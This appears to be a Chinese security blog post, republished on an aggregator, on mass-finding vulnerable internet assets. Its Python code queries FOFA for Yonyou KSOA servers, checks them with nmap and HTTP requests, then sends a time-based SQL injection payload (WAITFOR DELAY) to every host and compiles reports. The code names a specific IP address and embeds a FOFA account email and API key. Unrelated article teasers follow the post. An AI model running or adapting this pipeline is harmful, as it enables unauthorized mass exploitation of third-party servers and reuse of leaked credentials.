信息收集进阶版-张榜公告型收集

信息收集进阶版-张榜公告型收集

    • 一、思路
      • (1)张榜公告型收集
        • 1.明确思维,构建思维导图
        • 2.逐行分析
          • ①利用FOFA、SHODAN、Hunter来直接精确定位到想要的资产
          • ②调用nmap来确认端口是否是正常开放
          • ③批量检测收集到的资产是否是正常回复
          • ④编写POC检测代码,对资产进行检测
          • ⑤生成出漏洞报告,有利于自己直接提交SRC漏洞
          • ⑥综合成半成品寻龙工具
      • (2)寻人问诊型收集

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、思路

首先,我们要考虑到一个想法,就是为何要收集资产,收集资产的目的是什么?

(1)张榜公告型收集

就是你得到了你想要搜索的或者说是大概的漏洞,想知道在整个网络中,到底有谁出现了这样的或者多种的漏洞;

目标明确,只要发现,基本上就可以直接利用此类漏洞

1.明确思维,构建思维导图

在这里插入图片描述

2.逐行分析

我们如果只是讲解理论,空讲,讲白话,那是没有说服力的,按照毛主席的说法:实践出真知。

所以,我拿两个最近的暴露出来的一些漏洞来结合我们的思维导图来具体分析与实战,让各位老板感受到知识的力量

我们拿 用友时空KSOA SQL注入漏洞 来举例

①利用FOFA、SHODAN、Hunter来直接精确定位到想要的资产

那么想要从这些暗黑搜索引擎中获取你想要的信息,要么直接访问网站输入对应的搜索条件获取,要么调用对方的api接口来进行获取

这里我们主要讲解的就是调用api接口来进行获取

import requests
import base64url = "https://fofa.info/api/v1/search/all"
params_base = {"email": "597146595@qq.com","key": "36875820a3d990ae0034de1478f36c69",
}

我们要用条件来查询资产,很明显,查询条件我们要有,下方是查询条件

app=“用友-时空KSOA”

在这里插入图片描述
调用对应接口

在这里插入图片描述
实际调用接口python源码

import requests
import base64
import urllib3# 禁用FOFA API的警告信息
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)url = "https://fofa.info/api/v1/search/all"# 读取txt文件中的每一行并处理
with open("searchthing.txt", "r", encoding="utf-8") as file:lines = file.readlines()domains = [line.strip() for line in lines]  # 去除每行的换行符并存储为列表print(domains)# 基本参数
params_base = {"email": "597146595@qq.com","key": "36875820a3d990ae0034de1478f36c69",
}# 创建或打开输出文件
with open("searchtest.txt", "w", encoding="utf-8") as output_file:for domain in domains:params = params_base.copy()  # 复制基本参数# 转换域名为base64并添加到params中base64_domain = base64.b64encode(domain.encode()).decode()params["qbase64"] = base64_domainparams["size"] = 500response = requests.get(url, params=params, verify=False)  # 添加verify=False禁用SSL验证if response.status_code == 200:data = response.json()query = data.get('query', '')  # 获取'query'的值results = data.get('results', [])  # 获取'results'的内容# 写入结果到输出文件output_file.write(f'Query: {query}\n')print(f'Query: {query}')output_file.write('Results:\n')for result in results:output_file.write(str(result[0]) + '\n')print(str(result[0]))else:output_file.write(f"请求失败,状态码:{response.status_code}\n")

获取到的资产数据格式

在这里插入图片描述

②调用nmap来确认端口是否是正常开放
import subprocess# 定义Nmap命令
nmap_command = ["nmap", "-Pn", "124.237.76.68"]try:# 运行Nmap命令result = subprocess.run(nmap_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True)# 获取命令的标准输出nmap_output = result.stdout# 打印Nmap输出print("Nmap Output:")print(nmap_output)except subprocess.CalledProcessError as e:# 如果命令返回非零退出码,可以在这里处理错误print("Error:", e)

在这里插入图片描述
修改下指定得端口扫描,为后面综合工具做准备

import subprocess# 定义Nmap命令
nmap_command = ["nmap", "-Pn", "124.237.76.68","-p8031"]try:# 运行Nmap命令result = subprocess.run(nmap_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True)# 获取命令的标准输出nmap_output = result.stdout# 打印Nmap输出print("Nmap Output:")print(nmap_output)except subprocess.CalledProcessError as e:# 如果命令返回非零退出码,可以在这里处理错误print("Error:", e)

在这里插入图片描述
可以看到扫描的时间也大大缩短

③批量检测收集到的资产是否是正常回复

如果你的资产直接请求都是失败的,那又何必浪费时间去判断是否存在漏洞呢?

所以在判断漏洞之前,先看下他请求的状态是不是正常的200

部分测试代码如下

import requests
import urllib3  # 导入 urllib3 模块
import time# 定义目标主机的URL
url = "http://124.237.76.68:8031"  # 将 "example.com" 替换为你要请求的主机# 发送HTTP GET请求
try:urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)response = requests.get(url, verify=False, timeout=30)# 检查状态码if response.status_code == 200:print("请求成功,状态码为 200 OK")# 在这里可以处理返回的数据,例如打印响应内容:# print(response.text)else:print(f"请求失败,状态码为 {response.status_code}")
except TimeoutError:print(f"[!] 请求超时,跳过URL: {url}", "yellow")
except Exception as e:print(str(e))

在这里插入图片描述

④编写POC检测代码,对资产进行检测

当我们已经过滤好了所有的资产,相当于你买回来的菜,取掉了土,菜杆也去除了,很干净

接着,我们就要对这些资产进行检测,相当于要正式起锅烧油,开始翻炒

下面是以用友时空KSOA SQL注入漏洞的POC代码

try:expected_time = 10  # 期望的回包时间,单位为秒start_time = time.time()req = requests.get(encodetext, headers=headers, verify=False, timeout=15, proxies=proxies)res = req.textend_time = time.time()response_time = end_time - start_timeif response_time >= expected_time:self.append_to_output(f"[+] {url} 存在用友时空KSOA SQL注入漏洞!!!!", "red")self.append_to_output(res, "yellow")else:self.append_to_output(f"[-] {url} 不存在用友时空KSOA SQL注入漏洞", "green")
except Timeout:self.append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
except Exception as e:self.append_to_output(str(e))

在这里插入图片描述

⑤生成出漏洞报告,有利于自己直接提交SRC漏洞

肯定要有自己非常清晰的漏洞测试报告,这也是工具出彩的一部分

下面是测试代码

# 创建漏洞测试报告的内容
reports = []# 漏洞1
report1 = """
# 漏洞1## 漏洞详情| 属性           | 值                                      |
|----------------|-----------------------------------------|
| URL            | [漏洞1 URL](https://example.com/vuln1)  |
| 端口           | 80                                      |
| 发送的数据     | POST /vulnerable_endpoint1 HTTP/1.1<br>Host: example.com<br>User-Agent: Mozilla/5.0<br>Content-Type: application/json<br>{"payload": "exploit1"} |
| 收到的数据     | HTTP/1.1 200 OK<br>Content-Type: application/json<br>{"message": "Vulnerability 1 exploited"} |## 漏洞分析在这个板块中,你可以添加漏洞1的详细分析和建议修复方法。
"""# 漏洞2
report2 = """
# 漏洞2## 漏洞详情| 属性           | 值                                      |
|----------------|-----------------------------------------|
| URL            | [漏洞2 URL](https://example.com/vuln2)  |
| 端口           | 443                                     |
| 发送的数据     | POST /vulnerable_endpoint2 HTTP/1.1<br>Host: example.com<br>User-Agent: Mozilla/5.0<br>Content-Type: application/json<br>{"payload": "exploit2"} |
| 收到的数据     | HTTP/1.1 200 OK<br>Content-Type: application/json<br>{"message": "Vulnerability 2 exploited"} |## 漏洞分析在这个板块中,你可以添加漏洞2的详细分析和建议修复方法。
"""# 将漏洞报告添加到列表中
reports.append(report1)
reports.append(report2)# 将报告保存为.md文件
with open("vulnerability_reports.md", "w", encoding="utf-8") as file:for report in reports:file.write(report)print("漏洞测试报告已生成并保存为 vulnerability_reports.md 文件。")

在这里插入图片描述

⑥综合成半成品寻龙工具
import requests
import base64
import urllib3
import subprocess
import time
from time import sleep
from requests.exceptions import Timeout# 禁用FOFA API的警告信息
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)url = "https://fofa.info/api/v1/search/all"# 读取txt文件中的每一行并处理
with open("searchthing.txt", "r", encoding="utf-8") as file:lines = file.readlines()domains = [line.strip() for line in lines]  # 去除每行的换行符并存储为列表print(domains)# 基本参数
params_base = {"email": "597146595@qq.com","key": "36875820a3d990ae0034de1478f36c69",
}# 创建或打开输出文件
with open("searchtest.txt", "w", encoding="utf-8") as output_file:for domain in domains:params = params_base.copy()  # 复制基本参数# 转换域名为base64并添加到params中base64_domain = base64.b64encode(domain.encode()).decode()params["qbase64"] = base64_domainparams["size"] = 2response = requests.get(url, params=params, verify=False)  # 添加verify=False禁用SSL验证if response.status_code == 200:data = response.json()query = data.get('query', '')  # 获取'query'的值results = data.get('results', [])  # 获取'results'的内容# 写入结果到输出文件#output_file.write(f'Query: {query}\n')print(f'Query: {query}')#output_file.write('Results:\n')print('Results:\n')for result in results:output_file.write(str(result[0]) + '\n')output_file.flush()  # 强制刷新缓冲区,将数据写入文件print(str(result[0]))#进一步数据处理print("=================================================================================================================")print(">>>>>>>>>>>>>>>>>>>>>>>>进一步处理数据>>>>>>>>>>>>>>>>>>>>>>>>")# 创建漏洞测试报告的内容reports = []with open("searchtest.txt", "r", encoding="utf-8") as file:hosts = file.readlines()hosts_urls =[line.strip() for line in hosts]  # 去除每行的换行符并存储为列表for host in hosts_urls:print(f"host:{host}")# 使用冒号分割字符串ip_address, port = host.split(':')# 定义Nmap命令nmap_command = ["nmap", "-Pn", ip_address, "-p", port]try:# 运行Nmap命令print("=================================================================================================================")print(">>>>>>>>>>>>>>>>>>>>>>>>查看nmap请求后的结果>>>>>>>>>>>>>>>>>>>>>>>>")result = subprocess.run(nmap_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True)# 获取命令的标准输出nmap_output = result.stdout# 打印Nmap输出print(nmap_output)if '/tcp open' in nmap_output:print("Nmap Output:")print(nmap_output)# 定义目标主机的URL#url = "http://124.237.76.68:8031"  # 将 "example.com" 替换为你要请求的主机if not host.startswith('http://') and not host.startswith('https://'):url = 'http://' + host# 发送HTTP GET请求print("=================================================================================================================")print(">>>>>>>>>>>>>>>>>>>>>>>>检测此URL的状态码是否为200>>>>>>>>>>>>>>>>>>>>>>>>")try:urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)response = requests.get(url, verify=False, timeout=30)# 检查状态码if response.status_code == 200:print(f"{url}请求成功,状态码为 200 OK")# 在这里可以处理返回的数据,例如打印响应内容:# print(response.text)proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}headers = {"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)","Accept": "*/*","Connection": "close","Accept-Language": "en","Accept-Encoding": "gzip,deflate","Cookie": "PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb"}if url.endswith("/"):path = "servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1%27;WAITFOR%20DELAY%20%270:0:10%27--"else:path = "/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1%27;WAITFOR%20DELAY%20%270:0:10%27--"if not url.startswith('http://') and not url.startswith('https://'):url = 'http://' + urlencodetext = url + pathtry:expected_time = 10  # 期望的回包时间,单位为秒start_time = time.time()req = requests.get(encodetext, headers=headers, verify=False, timeout=15, proxies=proxies)res = req.textend_time = time.time()response_time = end_time - start_timeif response_time >= expected_time:print("=================================================================================================================")print(f"[+] {url} 存在用友时空KSOA SQL注入漏洞!!!!")# 定义漏洞1的变量vulnerability = {"name": "用友时空KSOA SQL注入漏洞","url": url,"request_data": encodetext,"response_data": res,"analysis": "建议升级版本或者直接过滤接口敏感字符"}# 创建漏洞报告report = f"""
# 漏洞名称: {vulnerability['name']}
## 漏洞URL: {vulnerability['url']}
## 漏洞请求数据:
{vulnerability['request_data']}
## 漏洞响应数据:>{vulnerability['response_data']}
## 漏洞分析:>{vulnerability['analysis']}--------------------------------------------------"""# 将漏洞报告添加到列表中reports.append(report)else:print("=================================================================================================================")print(f"[-] {url} 不存在用友时空KSOA SQL注入漏洞")except Timeout:print("=================================================================================================================")print(f"[!] 请求超时,跳过URL: {url}")except Exception as e:print(str(e))else:print(f"请求失败,状态码为 {response.status_code}")except TimeoutError:print("=================================================================================================================")print(f"[!] 请求超时,跳过URL: {url}")except Exception as e:print(str(e))else:print("nmap wrong")except subprocess.CalledProcessError as e:# 如果命令返回非零退出码,可以在这里处理错误print(str(e))else:output_file.write(f"请求失败,状态码:{response.status_code}\n")# 将报告保存为.md文件
with open("vulnerability_reports.md", "w", encoding="utf-8") as file:for report in reports:file.write(report)print("漏洞测试报告已生成并保存为 vulnerability_reports.md 文件。")

看下效果

在这里插入图片描述
在这里插入图片描述

(2)寻人问诊型收集

还有一种可能性,你得到了一个资产,这个资产你想了解跟他相关联的内容,就好比你要知道对方整体的关联资产,要对其(九族)进行株连,这只是一个比喻,那么你要从各个层面来出发考虑。

请听下回分解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142404.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

csdn未经允许将我的文章设置成vip收费

以前在csdn写了一些笔记&#xff0c;后来不用csdn了&#xff0c;想着留下这些笔记或多或少能帮助其他初学者&#xff0c;就没管它。结果csdn把文章设置成收费了&#xff0c;这个收费不是我本人弄的&#xff0c;是csdn弄的&#xff01;我现在只能把这些文章删除掉了。

【慕伏白教程】 Linux 深度学习服务器配置指北

文章目录 镜像烧录系统安装系统配置常用包安装 镜像烧录 下载 Ubuntu 镜像 Ubuntu 桌面版 下载烧录工具 balenaEtcher 准备至少 8G 的 空白U盘 开始烧录 系统安装 开机进入BIOS&#xff0c;修改U盘为第一启动 选择 Try or Install Ubuntu 往下拉&#xff0c;选择 中文&a…

1、靶机——Pinkys-Place v3(1)

文章目录 一、环境二、获取flag11、扫描局域网内存活主机1.1 查看kali的IP地址1.2 扫描存活主机 2、粗略扫描靶机端口&#xff08;服务&#xff09;3、寻找ftp服务漏洞4、扫描端口详细信息5、匿名登录ftp 一、环境 攻击机&#xff1a;kali 靶机&#xff1a;Pinkys-Place v3&am…

【独家专访】“数网”同防筑牢屏障——新型电力系统网络安全保障体系需加快调整

随着全球数字化进程不断加快&#xff0c;在国际竞争和冲突中&#xff0c;网络战和数据战已然屡见不鲜。电力作为关系国计民生的关键行业&#xff0c;更成为网络攻击的重要对象。加强电力等关键信息基础设施的网络安全保障&#xff0c;是国家今后一段时期的重点工作。7月15日召开…

json对象中嵌套一个json字符串,python如何生成带有转义字符的json的字符串?

前言 不想用java去弄&#xff0c;一顿操作json.dumps也没用&#xff0c;后面才知道需要这么操作 目的生成&#xff1a; data {"json": "{\"key1\": \"value1\", \"key2\": \"value2\"}" }但是直接用 import …

微信删除好友对方知道吗?如何加回微信好友?

微信是我们日常生活中使用最多的社交软件&#xff0c;很多小伙伴在使用微信时都曾发出过这样的疑问&#xff1a;微信删除好友对方知道吗&#xff1f;当自己在微信中删除某人后&#xff0c;对方是否会收到信息提醒&#xff1f;另外&#xff0c;如果删除好友后感到后悔&#xff0…

lenovo联想笔记本电脑ThinkPad X13 AMD Gen2(20XH,20XJ)原装出厂Windows10系统镜像

联想原厂Win10系统&#xff0c;自带所有驱动、出厂主题壁纸、系统属性联想LOGO专属标志、Office办公软件、联想电脑管家等预装程序 链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;dolg 适用于型号&#xff1a;20XL,20XJ,20XG,21A1,20XK,20XH,20XF,21A0 所需要…

竞赛 基于生成对抗网络的照片上色动态算法设计与实现 - 深度学习 opencv python

文章目录 1 前言1 课题背景2 GAN(生成对抗网络)2.1 简介2.2 基本原理 3 DeOldify 框架4 First Order Motion Model5 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于生成对抗网络的照片上色动态算法设计与实现 该项目较为新颖&am…

[golang gui]fyne框架代码示例

1、下载GO Go语言中文网 golang安装包 - 阿里镜像站(镜像站使用方法&#xff1a;查找最新非rc版本的golang安装包) golang安装包 - 中科大镜像站 go二进制文件下载 - 南京大学开源镜像站 Go语言官网(Google中国) Go语言官网(Go团队) 截至目前&#xff08;2023年9月17日&#x…

ubuntu18.04安装docker

ubuntu18.04安装docker 文章目录 ubuntu18.04安装docker一.安装1.更新软件库索引2.安装一些必要的软件包3.添加Docker的官方GPG密钥4.添加Docker软件库5.再次更新软件库索引6.安装Docker CE7.启动Docker并设置开机启动8.验证Docker安装9.(若要让非root用户可以运行Docker命令)可…

8应用服务与领域服务

本系列包含以下文章&#xff1a; DDD入门DDD概念大白话战略设计代码工程结构请求处理流程聚合根与资源库实体与值对象应用服务与领域服务&#xff08;本文&#xff09;领域事件CQRS 案例项目介绍 # 既然DDD是“领域”驱动&#xff0c;那么我们便不能抛开业务而只讲技术&…

高压 36V 四通道 DMOS 全桥驱动MS3988/3988N

MS3988/MS3988N 是一款四通道 DMOS 全桥驱动 器&#xff0c;可以驱动两个步进电机或者四个直流电机。每个全桥 的驱动电流在 36V 电源下可以工作到 1.2A。 MS3988/MS3988N 集成了固定关断时间的 PWM 电流校正器&#xff0c; 以及一个 2bit 的非线性 DACs&#xff08;数模转…

自学视觉SLAM(1)

引言 小编研究生的研究方向是视觉SLAM&#xff0c;目前在自学&#xff0c;已经学了Linux系统的基本操作&#xff0c;vim编辑器以及高翔老师的一些视屏。本篇文章为初学笔记。 文章目录 引言1 熟悉 Linux1.1 如何在 Ubuntu 中安装软件&#xff08;命令⾏界⾯&#xff09;&#x…

(Mysql高级语句(进阶查询语句+数据库函数+连接查询))

Mysql高级语句&#xff08;进阶查询语句MySQL数据库函数连接查询&#xff09; 一、mysql查询语句1.1、 select ----显示表格中一个或数个字段的所有数据记录1.2、 distinct ----不显示重复的数据记录1.3、where ----有条件查询1.4、 and or ----且 或1.5 、in----显示已知的值的…

Gin学习记录4——Controller和中间件

一. Controller 用不同的Controller可以实现业务的分类&#xff0c;不同类型的请求可以共用同一套中间件 1.1 单文件Controller 几乎等同于函数封装&#xff0c;直接将ctrl的代码写入到一个文件里然后调用&#xff1a; package adminimport ("net/http""git…

Ipa Guard软件介绍:启动界面和功能模块全解析,保护你的iOS应用源码

ipaguard界面概览 ipaguard界面分左右2块&#xff1a;左边菜单导航栏&#xff0c;右边的功能区 左侧菜单&#xff1a;按模块分成启动界面&#xff0c;代码模块&#xff0c;文件模块&#xff0c;重签名与测试模块 右侧主功能区会随着功能变化&#xff0c;但是整体分3块&#xf…

防止员工拷贝公司终端电脑文件数据(如何防止企业数据文件被任意拷贝?)

在当前的信息时代&#xff0c;数据被誉为“新型石油”&#xff0c;而公司内部的文件往往是企业核心数据和竞争优势的重要载体。然而&#xff0c;近年来&#xff0c;员工私自拷贝公司内部文件的事件屡见不鲜&#xff0c;这不仅威胁到企业的信息安全&#xff0c;也可能导致公司的…

Python异步框架大战:FastAPI、Sanic、Tornado VS Go 的 Gin

一、前言 异步编程在构建高性能 Web 应用中起着关键作用&#xff0c;而 FastAPI、Sanic、Tornado 都声称具有卓越的性能。本文将通过性能压测对这些框架与Go的Gin框架进行全面对比&#xff0c;揭示它们之间的差异。 原文&#xff1a;Python异步框架大战&#xff1a;FastAPI、Sa…

第77步 时间序列建模实战:多因素预测 vol-2(以ARIMA为例)

基于WIN10的64位系统演示 一、写在前面 上一期&#xff0c;我们构建了多变量的ARIMA时间序列预测模型&#xff0c;其实人家有名字的&#xff0c;叫做ARIMAX模型&#xff08;X就代表解释变量&#xff09;。 这一期&#xff0c;我们介绍其他机器学习回归模型如何建立多变量的时…

Windows10/11显示文件扩展名 修改文件后缀名教程

前言 写这篇文章的原因是由于我分享的教程中的文件、安装包基本都是存在阿里云盘的&#xff0c;下载后需要改后缀名才能使用。 但是好多同学不会改。。 Windows 10 随便打开一个文件夹&#xff0c;在上方工具栏点击 “查看”点击 “查看” 后下方会显示更详细的工具栏然后点…